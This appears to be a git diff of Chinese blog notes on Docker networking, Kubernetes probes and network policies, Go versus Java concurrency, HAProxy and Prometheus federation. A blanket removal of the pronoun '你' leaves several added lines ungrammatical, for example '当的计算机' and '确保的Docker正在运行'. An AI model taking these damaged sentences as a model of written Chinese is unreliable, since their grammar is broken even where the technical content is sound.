创建一个新的临时容器并挂载数据卷 @@ -188,7 +188,7 @@ docker run --rm -v myvolume:/volume -v /tmp:/backup ubuntu bash -c "cd /volume & -v myvolume:/volume： myvolume 是宿主机上的一个Docker数据卷。 -/volume 是容器内部的一个目录，你可以将其视为容器的一个挂载点，它挂载了 myvolume 这个数据卷。 +/volume 是容器内部的一个目录，可以将其视为容器的一个挂载点，它挂载了 myvolume 这个数据卷。 -v /tmp:/backup： /tmp 是宿主机上的一个目录。 @@ -256,10 +256,10 @@ Docker支持多种存储驱动，如Overlay2、aufs、devicemapper等。不同 NAT（Network Address Translation，网络地址转换）是一种在IP网络中的主机或路由器为IP数据包重新映射源IP地址或目标IP地址的技术。NAT的主要目的是允许一个组织使用一个有效的IP地址与外部网络通信，尽管其内部网络使用的是无效的IP地址。 NAT规则举例： -假设你家里有一个路由器，内部网络使用的是私有IP地址范围（例如，192.168.1.0/24），而路由器从ISP获得了一个公共IP地址（例如，203.0.113.10）。当你的计算机（IP地址为192.168.1.100）试图访问一个外部网站时，路由器会使用NAT将数据包的源IP地址从192.168.1.100更改为203.0.113.10，并发送到外部网络。当响应返回时，路由器会将目标IP地址从203.0.113.10更改为192.168.1.100，并将数据包转发给你的计算机。 +假设家里有一个路由器，内部网络使用的是私有IP地址范围（例如，192.168.1.0/24），而路由器从ISP获得了一个公共IP地址（例如，203.0.113.10）。当的计算机（IP地址为192.168.1.100）试图访问一个外部网站时，路由器会使用NAT将数据包的源IP地址从192.168.1.100更改为203.0.113.10，并发送到外部网络。当响应返回时，路由器会将目标IP地址从203.0.113.10更改为192.168.1.100，并将数据包转发给的计算机。 创建Docker网络： -当你执行如下命令创建一个自定义的Docker网络： +当执行如下命令创建一个自定义的Docker网络： ```bash docker network create my_custom_network @@ -273,7 +273,7 @@ Docker会进行以下操作： 配置NAT规则：Docker配置NAT规则，使得在该网络上的容器可以与外部网络通信。 在自定义网络上运行容器： -当你运行一个容器并指定使用my_custom_network网络： +当运行一个容器并指定使用my_custom_network网络： ```bash docker run --network=my_custom_network @@ -308,7 +308,7 @@ Docker为什么要分配子网、创建网络桥和配置NAT规则？ 配置NAT规则： 容器默认使用的是私有IP地址，这意味着它们不能直接与外部网络通信。通过配置NAT规则，Docker可以将容器的流量转发到宿主机的网络接口，从而允许容器与外部网络通信。 -同样，当你映射容器的端口到宿主机的端口时，Docker使用NAT规则将外部流量转发到正确的容器。 +同样，当映射容器的端口到宿主机的端口时，Docker使用NAT规则将外部流量转发到正确的容器。 总的来说，Docker使用子网、网络桥和NAT规则等技术，为容器提供了一个隔离、安全和功能强大的网络环境。这使得容器可以像独立的虚拟机一样运行，同时还能高效地共享宿主机的网络资源。 @@ -325,7 +325,7 @@ Bridge（桥接）模式： ```shell docker run --network=bridge ``` -或者，如果你创建了自定义的bridge网络（例如名为my_bridge）： +或者，如果创建了自定义的bridge网络（例如名为my_bridge）： ```shell docker run --network=my_bridge ``` @@ -382,23 +382,23 @@ DNS解析：在用户定义的bridge网络中，Docker提供了一个内部的DN 自定义配置：用户可以为用户定义的bridge网络指定子网、网关等网络参数。 -总的来说，通过使用用户定义的bridge网络，你可以更灵活地配置和管理容器的网络环境，同时还能享受容器名的DNS解析和更好的网络隔离等优势。 +总的来说，通过使用用户定义的bridge网络，可以更灵活地配置和管理容器的网络环境，同时还能享受容器名的DNS解析和更好的网络隔离等优势。 > 如何连接Docker容器到一个自定义网络？ -当你使用docker run命令创建容器时，可以使用--network选项指定要连接的网络。 -例如，如果你有一个名为my_custom_network的自定义网络，你可以这样创建并连接一个容器： +当使用docker run命令创建容器时，可以使用--network选项指定要连接的网络。 +例如，如果有一个名为my_custom_network的自定义网络，可以这样创建并连接一个容器： ```shell docker run --network=my_custom_network ``` -如果你已经有一个正在运行的容器并希望将其连接到一个自定义网络，可以使用docker network connect命令。 -例如，要将名为my_container的容器连接到my_custom_network网络，你可以执行： +如果已经有一个正在运行的容器并希望将其连接到一个自定义网络，可以使用docker network connect命令。 +例如，要将名为my_container的容器连接到my_custom_network网络，可以执行： ```shell docker network connect my_custom_network my_container ``` 从自定义网络断开容器： -如果你想从自定义网络断开容器，可以使用docker network disconnect命令： +如果想从自定义网络断开容器，可以使用docker network disconnect命令： ```shell docker network disconnect my_custom_network my_container ``` @@ -429,15 +429,15 @@ Docker还配置容器的路由表，确保容器可以通过其虚拟网络接 NAT和端口映射： 为了使容器能够与外部网络通信，Docker在宿主机上配置NAT规则。这允许容器的流量通过docker0桥和宿主机的物理网络接口流出。 -当你映射容器的端口到宿主机的端口时，Docker使用NAT规则将外部流量转发到正确的容器。 +当映射容器的端口到宿主机的端口时，Docker使用NAT规则将外部流量转发到正确的容器。 隔离和安全性： -由于每个容器都有自己的网络命名空间，因此它们之间的网络环境是完全隔离的。这意味着容器之间的网络流量不会相互干扰，除非你明确允许它们通信。 +由于每个容器都有自己的网络命名空间，因此它们之间的网络环境是完全隔离的。这意味着容器之间的网络流量不会相互干扰，除非明确允许它们通信。 > 如何在Docker容器之间设置网络别名？ -在Docker中，网络别名允许你为容器在特定网络上定义一个或多个额外的名称。这在多个容器需要通过不同的名称访问同一个容器时特别有用。例如，一个容器可能需要作为db、database和mysql被其他容器访问。 +在Docker中，网络别名允许为容器在特定网络上定义一个或多个额外的名称。这在多个容器需要通过不同的名称访问同一个容器时特别有用。例如，一个容器可能需要作为db、database和mysql被其他容器访问。 以下是如何为Docker容器设置网络别名的步骤： @@ -457,12 +457,12 @@ docker run --network=my_custom_network --network-alias=alias1 --network-alias=al 使用网络别名进行通信： 一旦容器有了网络别名，其他在同一网络上的容器就可以使用这些别名来通信。 -例如，如果你有一个名为mydb的数据库容器，并为其设置了db和database两个别名，那么其他容器可以使用mydb、db或database来访问该数据库容器。 +例如，如果有一个名为mydb的数据库容器，并为其设置了db和database两个别名，那么其他容器可以使用mydb、db或database来访问该数据库容器。 注意： 一个容器可以在同一网络上有多个网络别名。 网络别名是网络特定的，这意味着在不同的网络上，容器可以有不同的别名。 -使用网络别名，你可以为容器提供更灵活的网络配置，使得容器间的通信更加简单和直观。 +使用网络别名，可以为容器提供更灵活的网络配置，使得容器间的通信更加简单和直观。 > 什么是Docker的网络驱动？请列举几个常见的网络驱动。 @@ -473,14 +473,14 @@ docker run --network=my_custom_network --network-alias=alias1 --network-alias=al 在Docker中，服务发现是容器能够自动发现和通信的过程，而无需预先知道其他容器的IP地址或主机名。Docker为用户定义的网络提供了内置的服务发现功能。以下是在Docker中实现服务发现的方法： 使用用户定义的网络： -Docker的默认bridge网络不支持自动服务发现。为了使用服务发现，你需要创建一个用户定义的网络： +Docker的默认bridge网络不支持自动服务发现。为了使用服务发现，需要创建一个用户定义的网络： ```bash docker network create my_network ``` 运行容器并连接到用户定义的网络： -当你在用户定义的网络上运行容器时，Docker会自动为容器的名称提供DNS解析。 +当在用户定义的网络上运行容器时，Docker会自动为容器的名称提供DNS解析。 例如，启动一个名为my_service的容器： @@ -489,14 +489,14 @@ docker run --network=my_network --name my_service ``` 从其他容器访问该服务： -现在，如果你在my_network上启动另一个容器，你可以简单地使用容器名称my_service来访问它，就像它是一个DNS名称一样。 +现在，如果在my_network上启动另一个容器，可以简单地使用容器名称my_service来访问它，就像它是一个DNS名称一样。 ```bash docker run --network=my_network ping my_service ``` 使用网络别名： -除了使用容器名称，你还可以为容器设置网络别名，使得其他容器可以使用这些别名来访问它。 +除了使用容器名称，还可以为容器设置网络别名，使得其他容器可以使用这些别名来访问它。 ```bash docker run --network=my_network --name my_service --network-alias=alias1 @@ -505,7 +505,7 @@ docker run --network=my_network --name my_service --network-alias=alias1 描述Docker的Overlay网络和其工作原理。 @@ -602,39 +602,39 @@ Overlay网络支持在宿主机之间的通信加密，确保数据在传输过 使用专用的运行时： 考虑使用如gVisor或Kata Containers等沙盒容器运行时，为容器提供额外的隔离层。 -通过遵循上述最佳实践，你可以增强Docker网络的安全性，减少潜在的风险，并确保你的应用和数据安全。 +通过遵循上述最佳实践，可以增强Docker网络的安全性，减少潜在的风险，并确保的应用和数据安全。 > 假如我一个服务要部署在Kubernetes中，我的服务提供什么样的功能才能使得，Kubernetes检测到问题的时候，它可以帮助我的服务自动恢复或重新启动？ -为了让Kubernetes能够检测到服务的问题并自动采取恢复措施，你的服务应该提供以下功能： +为了让Kubernetes能够检测到服务的问题并自动采取恢复措施，的服务应该提供以下功能： 健康检查（Liveness Probes）： Kubernetes使用liveness probes来确定容器是否正在运行。如果liveness probe失败，Kubernetes会杀死容器，并根据其重启策略重新启动它。 -你的服务应该提供一个端点（例如，/health），Kubernetes可以定期检查这个端点。如果端点返回的状态码表示失败，Kubernetes会认为容器不健康并采取措施。 +的服务应该提供一个端点（例如，/health），Kubernetes可以定期检查这个端点。如果端点返回的状态码表示失败，Kubernetes会认为容器不健康并采取措施。 就绪检查（Readiness Probes）： Kubernetes使用readiness probes来确定容器是否已准备好开始接受流量。如果容器不准备好，它不会接收来自服务的流量。 -你的服务应该提供一个端点（例如，/ready），表示服务是否已准备好处理请求。 +的服务应该提供一个端点（例如，/ready），表示服务是否已准备好处理请求。 启动探针（Startup Probes）（Kubernetes 1.16及更高版本）： 这是一个新的探针，用于确定容器应用是否已启动。如果配置了启动探针，它会禁用其他探针，直到成功为止，确保应用已经启动。 资源限制和请求： -为你的服务容器设置CPU和内存的资源限制和请求。这不仅可以确保服务获得所需的资源，而且当容器超出其资源限制时，Kubernetes可以采取措施。 +为的服务容器设置CPU和内存的资源限制和请求。这不仅可以确保服务获得所需的资源，而且当容器超出其资源限制时，Kubernetes可以采取措施。 重启策略： -在Pod定义中，你可以设置restartPolicy。对于长时间运行的服务，通常设置为Always，这意味着当容器退出时，Kubernetes会尝试重新启动它。 +在Pod定义中，可以设置restartPolicy。对于长时间运行的服务，通常设置为Always，这意味着当容器退出时，Kubernetes会尝试重新启动它。 日志输出： 保持清晰、结构化的日志输出，以便在出现问题时进行故障排查。Kubernetes可以收集和聚合这些日志，使得监控和警报更加容易。 优雅地关闭： -当Kubernetes尝试关闭容器时，它首先会发送SIGTERM信号。你的应用应该捕获这个信号，并开始优雅地关闭，例如完成正在处理的请求、关闭数据库连接等。 +当Kubernetes尝试关闭容器时，它首先会发送SIGTERM信号。的应用应该捕获这个信号，并开始优雅地关闭，例如完成正在处理的请求、关闭数据库连接等。 集成监控和警报工具： 考虑集成如Prometheus、Grafana等工具，以监控服务的性能和健康状况，并在出现问题时发送警报。 -通过实现上述功能和最佳实践，你可以确保Kubernetes能够有效地监控、管理和恢复你的服务。 +通过实现上述功能和最佳实践，可以确保Kubernetes能够有效地监控、管理和恢复的服务。 > 描述Docker的主要组件及其功能（例如Docker Daemon、Docker CLI、Docker Image、Docker Container）。 @@ -642,22 +642,22 @@ Kubernetes使用readiness probes来确定容器是否已准备好开始接受流 Docker Daemon (dockerd)： 功能：Docker Daemon是后台运行的进程，负责构建、运行和管理Docker容器。它处理Docker API请求并可以与其他Docker守护进程通信。 -实际应用：当你在一台机器上启动或停止容器时，实际上是Docker Daemon在执行这些操作。 +实际应用：当在一台机器上启动或停止容器时，实际上是Docker Daemon在执行这些操作。 Docker CLI (docker)： 功能：Docker命令行接口是用户与Docker Daemon交互的主要方式。它提供了一系列命令，如docker run、docker build和docker push等，使用户能够操作容器和镜像。 -实际应用：当你在终端中输入docker命令时，你实际上是在使用Docker CLI与Docker Daemon通信。 +实际应用：当在终端中输入docker命令时，实际上是在使用Docker CLI与Docker Daemon通信。 Docker Image： 功能：Docker镜像是容器运行的基础。它是一个轻量级、独立的、可执行的软件包，包含运行应用所需的所有内容：代码、运行时、系统工具、系统库和设置。 -实际应用：当你使用docker build命令创建一个新的Docker镜像或从Docker Hub下载一个现有的镜像时，你正在操作Docker Image。 +实际应用：当使用docker build命令创建一个新的Docker镜像或从Docker Hub下载一个现有的镜像时，正在操作Docker Image。 Docker Container： 功能：Docker容器是Docker镜像的运行实例。它是一个独立的运行环境，包含应用及其依赖，但与主机系统和其他容器隔离。 -实际应用：当你使用docker run命令启动一个应用时，你实际上是在创建并运行一个Docker容器。 +实际应用：当使用docker run命令启动一个应用时，实际上是在创建并运行一个Docker容器。 除了上述主要组件，Docker还有其他组件，如Docker Compose（用于定义和运行多容器Docker应用程序）、Docker Swarm（用于集群管理和编排）和Docker Registry（用于存储和分发Docker镜像）。但上述四个组件是Docker架构中最核心的部分。 @@ -715,7 +715,7 @@ LABEL： > 如何查看正在运行的容器及其日志？ 查看正在运行的容器： -使用docker ps命令可以查看当前正在运行的容器。如果你想查看所有容器（包括已停止的），可以使用docker ps -a。 +使用docker ps命令可以查看当前正在运行的容器。如果想查看所有容器（包括已停止的），可以使用docker ps -a。 ```bash docker ps @@ -726,7 +726,7 @@ docker ps ```bash docker logs [CONTAINER_ID_OR_NAME] ``` -如果你想实时查看容器的日志输出，可以添加-f或--follow选项： +如果想实时查看容器的日志输出，可以添加-f或--follow选项： ```bash docker logs -f [CONTAINER_ID_OR_NAME] @@ -734,18 +734,18 @@ docker logs -f [CONTAINER_ID_OR_NAME] > 描述如何进入一个正在运行的容器的shell。 -你可以使用docker exec命令与-it选项来进入一个正在运行的容器的shell。通常，我们会使用/bin/sh或/bin/bash作为要执行的命令，这取决于容器内部是否安装了bash。 +可以使用docker exec命令与-it选项来进入一个正在运行的容器的shell。通常，我们会使用/bin/sh或/bin/bash作为要执行的命令，这取决于容器内部是否安装了bash。 ```shell docker exec -it [CONTAINER_ID_OR_NAME] /bin/sh ``` -或者，如果容器内有bash，你可以使用： +或者，如果容器内有bash，可以使用： ```shell docker exec -it [CONTAINER_ID_OR_NAME] /bin/bash ``` -> 如果容器启动失败，你会如何进行故障排查？ +> 如果容器启动失败，会如何进行故障排查？ 如果容器启动失败，以下是一系列的故障排查步骤： @@ -760,7 +760,7 @@ docker exec -it [CONTAINER_ID_OR_NAME] /bin/bash 这个命令会显示所有的容器，包括已经停止的。查看容器的状态和退出代码可以提供有关其失败原因的线索。 检查容器配置： -使用docker inspect [CONTAINER_ID_OR_NAME]命令查看容器的详细配置信息。这可能会帮助你识别配置错误或其他问题。 +使用docker inspect [CONTAINER_ID_OR_NAME]命令查看容器的详细配置信息。这可能会帮助识别配置错误或其他问题。 检查资源限制： 如果为容器设置了资源限制（如CPU、内存），确保这些限制不会导致容器启动失败。 @@ -786,27 +786,27 @@ cbb032955f15 pxc-network bridge local 检查端口映射和其他网络设置。 尝试启动容器与交互模式： -使用docker run -it [IMAGE] /bin/sh（或/bin/bash）尝试以交互模式启动容器。这可能会帮助你直接在容器内部进行故障排查。 +使用docker run -it [IMAGE] /bin/sh（或/bin/bash）尝试以交互模式启动容器。这可能会帮助直接在容器内部进行故障排查。 检查Docker守护进程日志： -Docker守护进程的日志可能包含有关容器启动失败的有用信息。日志的位置取决于你的系统配置，但常见的位置是/var/log/docker.log。 +Docker守护进程的日志可能包含有关容器启动失败的有用信息。日志的位置取决于的系统配置，但常见的位置是/var/log/docker.log。 外部依赖： 如果容器依赖于外部服务（如数据库或API），确保这些服务是可用的。 > 如何连接容器到一个自定义网络？ -首先，你需要创建一个自定义网络。使用以下命令创建一个自定义的桥接网络： +首先，需要创建一个自定义网络。使用以下命令创建一个自定义的桥接网络： ```bash docker network create [NETWORK_NAME] ``` -当你运行一个新的容器时，可以使用--network选项将其连接到这个自定义网络： +当运行一个新的容器时，可以使用--network选项将其连接到这个自定义网络： ```bash docker run --network=[NETWORK_NAME] [OTHER_OPTIONS] [IMAGE] ``` -如果你已经有一个正在运行的容器，并希望将其连接到自定义网络，可以使用以下命令： +如果已经有一个正在运行的容器，并希望将其连接到自定义网络，可以使用以下命令： ```bash docker network connect [NETWORK_NAME] [CONTAINER_ID_OR_NAME] @@ -814,9 +814,9 @@ docker network connect [NETWORK_NAME] [CONTAINER_ID_OR_NAME] > 如何限制容器之间的通信？ -默认桥接网络：在Docker的默认桥接网络模式下，容器之间是可以相互通信的。但是，你可以启动Docker守护进程时使用--icc=false选项来禁止这种通信。 +默认桥接网络：在Docker的默认桥接网络模式下，容器之间是可以相互通信的。但是，可以启动Docker守护进程时使用--icc=false选项来禁止这种通信。 -用户定义的桥接网络：在用户定义的桥接网络中，容器之间默认是可以相互通信的。但与默认桥接网络不同，你可以使用网络策略来限制特定容器之间的通信。 +用户定义的桥接网络：在用户定义的桥接网络中，容器之间默认是可以相互通信的。但与默认桥接网络不同，可以使用网络策略来限制特定容器之间的通信。 ```shell 在用户定义的桥接网络中，容器之间可以通过容器名进行DNS解析，从而实现容器间的通信。而在默认桥接网络中，这种DNS解析是不可用的。 @@ -831,19 +831,19 @@ docker run --network=my_custom_network --name container2 -d nginx 在这种设置下，container1可以通过DNS名container2访问container2，反之亦然。 ``` -Overlay网络：在Swarm模式下，你可以使用Overlay网络，并通过网络策略来限制服务之间的通信。 +Overlay网络：在Swarm模式下，可以使用Overlay网络，并通过网络策略来限制服务之间的通信。 -网络策略：Docker 1.13及更高版本支持基于Swarm模式的网络策略。这允许你定义哪些服务可以通信，以及它们如何通信 +网络策略：Docker 1.13及更高版本支持基于Swarm模式的网络策略。这允许定义哪些服务可以通信，以及它们如何通信 > Kubernetes，如何限制两个容器或服务之间的通信？给出具体的例子说明 前提条件： -你的Kubernetes集群必须使用支持网络策略的网络解决方案，如Calico、Cilium或Weave Net。 +的Kubernetes集群必须使用支持网络策略的网络解决方案，如Calico、Cilium或Weave Net。 默认情况下，Pods是非隔离的，它们可以与任何其他Pod通信。 创建两个Pod： -假设你有两个Pod，名为pod-a和pod-b，它们都在名为my-namespace的命名空间中。 +假设有两个Pod，名为pod-a和pod-b，它们都在名为my-namespace的命名空间中。 限制pod-a只能与pod-b通信： @@ -868,7 +868,7 @@ spec: name: pod-b ``` -在pod-a中尝试ping或curl其他Pod，你会发现只有与pod-b的通信是允许的，其他的都会被阻止。 +在pod-a中尝试ping或curl其他Pod，会发现只有与pod-b的通信是允许的，其他的都会被阻止。 > 如何构建、拉取和推送Docker镜像？ @@ -888,7 +888,7 @@ docker push [IMAGE_NAME]:[TAG] > 描述如何优化Docker镜像的大小。 使用更小的基础镜像：例如，使用alpine版本的官方镜像，它们通常比其他版本小得多。 -多阶段构建：这允许你在一个阶段安装/编译应用程序，然后在另一个更轻量级的阶段复制必要的文件。 +多阶段构建：这允许在一个阶段安装/编译应用程序，然后在另一个更轻量级的阶段复制必要的文件。 清理不必要的文件：在构建过程中，删除临时文件、缓存和不必要的软件包。 链式命令：在Dockerfile中，使用&&将命令链在一起，这样它们就会在一个层中执行，从而减少总层数。 避免安装不必要的软件包：只安装运行应用程序所需的软件包。 diff --git a/_posts/2023-10-14-test-markdown.md b/_posts/2023-10-14-test-markdown.md index 6cd981c3ad8e..c4c319cc560e 100644 --- a/_posts/2023-10-14-test-markdown.md +++ b/_posts/2023-10-14-test-markdown.md @@ -201,7 +201,7 @@ Go: Go有其自己的并发原语，包括goroutines（轻量级线程）和chan 并发模型: Java: Java使用的主要是线程模型。Java线程在操作系统层面映射为本地线程。 -Go: Go使用了CSP（Communicating Sequential Processes）模型。在Go中，你会启动数以万计的goroutines，但它们不直接映射为操作系统的线程。Go的运行时会在少量的OS线程上调度这些goroutines。 +Go: Go使用了CSP（Communicating Sequential Processes）模型。在Go中，会启动数以万计的goroutines，但它们不直接映射为操作系统的线程。Go的运行时会在少量的OS线程上调度这些goroutines。 内存模型: Java: Java有一个明确定义的内存模型，它定义了多线程程序中变量的可见性规则。 @@ -232,15 +232,15 @@ Go: Go运行时直接管理goroutines的调度，这通常意味着更少的上 实现: -Go goroutines: 当你在Go中启动一个goroutine时，它不是直接映射到一个操作系统线程上的。相反，Go运行时维护了一些真实的操作系统线程，并在这些线程上调度多个goroutines运行。这是通过Go的M:N调度模型实现的，其中M代表真实的操作系统线程，N代表goroutines。 -Java线程: 当你在Java中创建一个线程时，它通常直接映射到一个操作系统线程。这是一个1:1模型。 +Go goroutines: 当在Go中启动一个goroutine时，它不是直接映射到一个操作系统线程上的。相反，Go运行时维护了一些真实的操作系统线程，并在这些线程上调度多个goroutines运行。这是通过Go的M:N调度模型实现的，其中M代表真实的操作系统线程，N代表goroutines。 +Java线程: 当在Java中创建一个线程时，它通常直接映射到一个操作系统线程。这是一个1:1模型。 开销和效率: Go goroutines: Goroutines设计得非常轻量。它们有更小的栈（通常从2KB开始，但可以动态增长），并且创建、销毁的成本都很低。由于在少量的OS线程上进行调度，goroutines的上下文切换成本也通常比传统的线程低。 Java线程: 由于Java线程是直接映射到操作系统线程的，它们的开销通常比goroutines大。线程的栈空间、创建和销毁的成本都比较高。此外，频繁的上下文切换可能会导致性能下降。 可伸缩性: -Go goroutines: 由于goroutines的轻量性，你可以在一个程序中创建数以万计、甚至百万计的goroutines，而不会导致系统资源耗尽。 +Go goroutines: 由于goroutines的轻量性，可以在一个程序中创建数以万计、甚至百万计的goroutines，而不会导致系统资源耗尽。 Java线程: 创建大量的Java线程可能会迅速耗尽系统资源，尤其是内存。因此，Java程序通常依赖于线程池来重复使用线程，以避免创建和销毁的开销。 控制和灵活性: @@ -370,7 +370,7 @@ age （标识符） > Kubernetes的网络策略 -Kubernetes的网络策略允许你控制Pod之间的通信。以下是Kubernetes网络策略的主要组件和概念： +Kubernetes的网络策略允许控制Pod之间的通信。以下是Kubernetes网络策略的主要组件和概念： PodSelector: 选择器定义了策略应用于哪些Pod。如果省略，策略将应用于所有Pod。 @@ -516,7 +516,7 @@ policyTypes: #### 准备工作: -首先，确保你的Docker正在运行。 +首先，确保的Docker正在运行。 #### 创建两个简单的Web服务器: 我们将使用Docker运行两个简单的HTTP服务器。这些服务器将作为我们的后端服务，由HAProxy进行负载均衡。 @@ -527,7 +527,7 @@ docker run -d -p 8082:80 --name web2 nginx ``` #### 创建HAProxy配置文件 -在你的本地机器上，创建一个名为haproxy.cfg的文件，并添加以下内容 +在的本地机器上，创建一个名为haproxy.cfg的文件，并添加以下内容 ```shell global daemon @@ -563,17 +563,17 @@ curl http://localhost:8080 docker logs web1 docker logs web2 ``` -多次运行上述命令，你会看到请求在两个服务器之间进行负载均衡。 +多次运行上述命令，会看到请求在两个服务器之间进行负载均衡。 6. 清理 -完成测试后，你可以停止并删除所有容器： +完成测试后，可以停止并删除所有容器： ```shell docker stop web1 web2 haproxy docker rm web1 web2 haproxy ``` 总结 -通过上述步骤，你已经成功地在本地部署了一个使用HAProxy的简单负载均衡环境，并了解了如何配置HAProxy来分发流量。在实际生产环境中，HAProxy和其他负载均衡器提供了更多高级功能和优化选项，但上述示例为你提供了一个基本的了解和起点。 +通过上述步骤，已经成功地在本地部署了一个使用HAProxy的简单负载均衡环境，并了解了如何配置HAProxy来分发流量。在实际生产环境中，HAProxy和其他负载均衡器提供了更多高级功能和优化选项，但上述示例为提供了一个基本的了解和起点。 diff --git a/_posts/2023-10-16-test-markdown.md b/_posts/2023-10-16-test-markdown.md index 3e0ef4a631ce..1d7640dea91a 100644 --- a/_posts/2023-10-16-test-markdown.md +++ b/_posts/2023-10-16-test-markdown.md @@ -70,20 +70,20 @@ by (handler, le)) SLI (Service Level Indicator)：服务级别指标，如错误率、响应时间等。 SLO (Service Level Objective)：基于SLI的目标，例如“99.9%的请求在300ms内完成”。 SLA (Service Level Agreement)：与客户之间的正式承诺，通常包括SLO和违反SLO时的补偿措施。 -基于这些定义，你可以创建有意义的报警。 +基于这些定义，可以创建有意义的报警。 SLI (Service Level Indicator): 定义：SLI是一个具体的、可测量的指标，用于衡量服务的某个方面的性能或可靠性。它是一个数值，通常是一个百分比。 示例：一个常见的SLI是“请求成功率”。例如，如果在100次请求中有95次成功，那么请求的成功率SLI为95%。 SLO (Service Level Objective): -定义：SLO是基于SLI的目标。它定义了你希望或期望服务达到的性能水平。SLO是团队内部的目标，用于跟踪和管理服务的性能。 -示例：如果你希望99.9%的请求在300ms内完成，那么这就是一个SLO。这意味着在任何给定的时间段内，99.9%的请求都应该满足这个标准。 +定义：SLO是基于SLI的目标。它定义了希望或期望服务达到的性能水平。SLO是团队内部的目标，用于跟踪和管理服务的性能。 +示例：如果希望99.9%的请求在300ms内完成，那么这就是一个SLO。这意味着在任何给定的时间段内，99.9%的请求都应该满足这个标准。 SLA (Service Level Agreement): 定义：SLA是一个正式的、与客户或用户之间的合同，其中明确规定了服务的性能标准和承诺。如果未能达到这些标准，通常会有某种形式的补偿，如退款或服务信用。 示例：一个云服务提供商可能会承诺99.9%的可用性，并在SLA中明确规定，如果在一个月内的实际可用性低于这一标准，客户将获得10%的服务费用退款。 -这三个概念之间的关系可以这样理解：你使用SLI来衡量服务的实际性能，设置SLO作为你希望达到的目标，然后与客户签订SLA作为你对服务性能的正式承诺。 +这三个概念之间的关系可以这样理解：使用SLI来衡量服务的实际性能，设置SLO作为希望达到的目标，然后与客户签订SLA作为对服务性能的正式承诺。 ## 可能遇到的问题 @@ -100,7 +100,7 @@ SLA (Service Level Agreement): 采用 prometheus 联邦集群的方式来解决指标收集过大的问题，采用了分布式，就可以将机器分组收集汇总，之后就可以成倍速的缩小 prometheus 拉取的压力。 -Prometheus联邦集群是一种解决大规模指标收集问题的方法。通过联邦集群，你可以有多个Prometheus服务器，其中一个或多个Prometheus实例作为全局或中央实例，从其他Prometheus实例中拉取预先聚合的数据。这样，你可以在不同的层次和粒度上收集和存储数据，从而减少中央Prometheus实例的负载和存储需求。 +Prometheus联邦集群是一种解决大规模指标收集问题的方法。通过联邦集群，可以有多个Prometheus服务器，其中一个或多个Prometheus实例作为全局或中央实例，从其他Prometheus实例中拉取预先聚合的数据。这样，可以在不同的层次和粒度上收集和存储数据，从而减少中央Prometheus实例的负载和存储需求。 ## Prometheus联邦集群如何使用 @@ -108,11 +108,11 @@ Prometheus联邦集群是一种解决大规模指标收集问题的方法。通 分组和分层： -将你的基础设施分成逻辑组或层。例如，按地理位置、服务类型或团队进行分组。 +将的基础设施分成逻辑组或层。例如，按地理位置、服务类型或团队进行分组。 为每个组或层配置一个Prometheus实例。这些实例将只从其分配的组或层收集指标。 预先聚合数据： -在每个Prometheus实例中，使用Recording Rules预先聚合数据。这样，你可以减少需要从子实例到中央实例传输的数据量。 +在每个Prometheus实例中，使用Recording Rules预先聚合数据。这样，可以减少需要从子实例到中央实例传输的数据量。 配置联邦： 在中央或全局Prometheus实例中，配置联邦，使其从每个子Prometheus实例中拉取预先聚合的数据。 @@ -153,7 +153,7 @@ scrape_configs: 监控和警报： 监控每个Prometheus实例的性能和健康状况，确保所有实例都正常工作。 配置警报，以便在任何Prometheus实例遇到问题时立即收到通知。 -通过这种方式，Prometheus联邦集群可以帮助你在大规模环境中有效地收集、存储和查询指标，同时确保每个Prometheus实例的负载保持在可管理的水平。 +通过这种方式，Prometheus联邦集群可以帮助在大规模环境中有效地收集、存储和查询指标，同时确保每个Prometheus实例的负载保持在可管理的水平。 ## 如何监控一个集群？ @@ -165,32 +165,32 @@ Prometheus Server部署： 高可用性：为每个Prometheus实例部署一个副本。这样，如果一个实例出现问题，另一个可以继续工作。 服务发现： -使用Prometheus的服务发现功能自动发现新的网关实例。例如，如果你的网关在Kubernetes上，Prometheus可以自动发现新的Pods和Endpoints。 +使用Prometheus的服务发现功能自动发现新的网关实例。例如，如果的网关在Kubernetes上，Prometheus可以自动发现新的Pods和Endpoints。 数据存储： 考虑使用本地存储为每个Prometheus实例存储数据，但也考虑使用远程存储（如Thanos或Cortex）来长期存储数据。 联邦集群： -如果你有多个Prometheus实例，可以使用Prometheus的联邦功能将数据从一个实例聚合到一个中央Prometheus实例。这样，你可以在一个地方查询整个集群的数据。 +如果有多个Prometheus实例，可以使用Prometheus的联邦功能将数据从一个实例聚合到一个中央Prometheus实例。这样，可以在一个地方查询整个集群的数据。 报警： 使用Alertmanager处理Prometheus的报警。为了高可用性，运行多个Alertmanager实例并配置它们以形成一个集群。 可视化： -使用Grafana或Prometheus自带的UI来可视化你的数据。为你的网关集群创建仪表板，显示关键指标，如请求速率、错误率、延迟等。 +使用Grafana或Prometheus自带的UI来可视化的数据。为的网关集群创建仪表板，显示关键指标，如请求速率、错误率、延迟等。 备份和恢复： 定期备份Prometheus的配置和数据。考虑使用远程存储或对象存储进行备份。 安全性： -保护你的Prometheus实例和Alertmanager实例。考虑使用网络策略、TLS、身份验证和授权来增强安全性。 +保护的Prometheus实例和Alertmanager实例。考虑使用网络策略、TLS、身份验证和授权来增强安全性。 维护和监控： -监控你的Prometheus实例的健康状况和性能。设置报警，以便在资源不足或其他问题发生时得到通知。 -定期检查和更新你的Prometheus和Alertmanager版本。 +监控的Prometheus实例的健康状况和性能。设置报警，以便在资源不足或其他问题发生时得到通知。 +定期检查和更新的Prometheus和Alertmanager版本。 扩展性： -根据需要扩展你的Prometheus部署。随着你的网关集群的增长，你可能需要添加更多的Prometheus实例或增加存储容量。 +根据需要扩展的Prometheus部署。随着的网关集群的增长，可能需要添加更多的Prometheus实例或增加存储容量。 @@ -215,7 +215,7 @@ var httpDuration = prometheus.NewHistogramVec( ) ``` 注册指标: -在启动应用程序时，你需要注册你的指标，这样 Prometheus 客户端库才知道它们存在。 +在启动应用程序时，需要注册的指标，这样 Prometheus 客户端库才知道它们存在。 ```go func init() { @@ -223,7 +223,7 @@ func init() { } ``` 测量请求耗时: -使用中间件或 HTTP 处理程序来测量每个请求的耗时，并更新你的指标。 +使用中间件或 HTTP 处理程序来测量每个请求的耗时，并更新的指标。 ```go func trackDuration(handler http.HandlerFunc) http.HandlerFunc { @@ -236,13 +236,13 @@ func trackDuration(handler http.HandlerFunc) http.HandlerFunc { } ``` 使用中间件: -对于你的每个 HTTP 处理程序，使用上面定义的 trackDuration 中间件。 +对于的每个 HTTP 处理程序，使用上面定义的 trackDuration 中间件。 ```go http.HandleFunc("/your_endpoint", trackDuration(yourHandlerFunc)) ``` 